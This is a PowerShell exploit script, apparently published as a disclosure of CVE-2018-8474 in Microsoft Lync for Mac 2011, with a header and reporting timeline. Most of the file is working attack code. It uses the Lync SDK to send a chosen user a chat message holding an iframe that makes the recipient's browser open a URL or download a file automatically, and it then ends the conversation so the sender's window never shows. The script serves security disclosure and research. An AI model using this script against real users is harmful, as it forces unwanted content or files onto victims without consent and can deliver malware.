91 lines
No EOL
2.8 KiB
PowerShell
91 lines
No EOL
2.8 KiB
PowerShell
# Exploit Title: Microsoft Lync for Mac 2011 Injection Forced Browsing/Download
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# Author: @nyxgeek - TrustedSec
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# Date: 2018-03-20
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# Vendor Homepage: microsoft.com
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# Software Link: https://www.microsoft.com/en-us/download/details.aspx?id=36517
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# CVE: CVE-2018-8474
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# Version: Lync:Mac 2011 14.4.3, likely earlier versions
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# Tested on: Lync:Mac 2011 14.4.3 (170308)
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# Description:
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# Force browsing or download via embedded iframe in a chat window. No user
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# interaction required. When the iframe contains a web site URL, a new browser
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# window of the default browser will open with the URL.
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# If the URL is a file, it will download it automatically if it is a permitted
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# file type (e.g., zip)
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# A write-up can be found at:
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# https://www.trustedsec.com/2018/09/full-disclosure-microsoft-lync-for-mac-2011-susceptible-to-forced-browsing-download-attack/
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# Requirements: Originating machine needs Lync 2013 SDK installed
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# (https://www.microsoft.com/en-us/download/details.aspx?id=36824)
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# Timeline of Disclosure:
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#
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# 07/18/2017 - Reported issue to Microsoft
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# 11/22/2017 - Microsoft has reproduced problem
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# 03/07/2018 - Microsoft replies that they have decided not to fix, but gave
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# their blessing for disclosure
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#target user
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$target = "user@domain"
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$message = "<iframe src='https://www.youtube.com/watch?v=9Rnr70wCQSA'></iframe>"
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if (-not (Get-Module -Name Microsoft.Lync.Model))
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{
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try
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{
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# you may need to change the location of this DLL
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Import-Module "C:\Program Files\Microsoft Office\Office15\LyncSDK\Assemblies\Desktop\Microsoft.Lync.Model.dll" -ErrorAction Stop
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}
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catch
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{
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Write-Warning "Microsoft.Lync.Model not available, download and install the Lync 2013 SDK http://www.microsoft.com/en-us/download/details.aspx?id=36824"
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}
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}
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# Connect to the local Skype process
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try
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{
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$client = [Microsoft.Lync.Model.LyncClient]::GetClient()
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}
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catch
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{
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Write-Host "`nYou need to have Skype open and signed in first"
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break
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}
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#Start Conversation
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$msg = New-Object "System.Collections.Generic.Dictionary[Microsoft.Lync.Model.Conversation.InstantMessageContentType, String]"
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#Add the Message
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$msg.Add(1,$message)
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# Add the contact URI
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try
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{
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$contact = $client.ContactManager.GetContactByUri($target)
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}
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catch
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{
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Write-Host "`nFailed to lookup Contact"$target
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break
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}
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# Create a conversation
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$convo = $client.ConversationManager.AddConversation()
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$convo.AddParticipant($contact) | Out-Null
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# Set the message mode as IM
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$imModality = $convo.Modalities[1]
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# Send the message
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$imModality.BeginSendMessage($msg, $null, $imModality) | Out-Null
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# End the Convo to suppress the UI
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$convo.End() | Out-Null
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Write-Host "Sent the following message to "$target":`n"$message |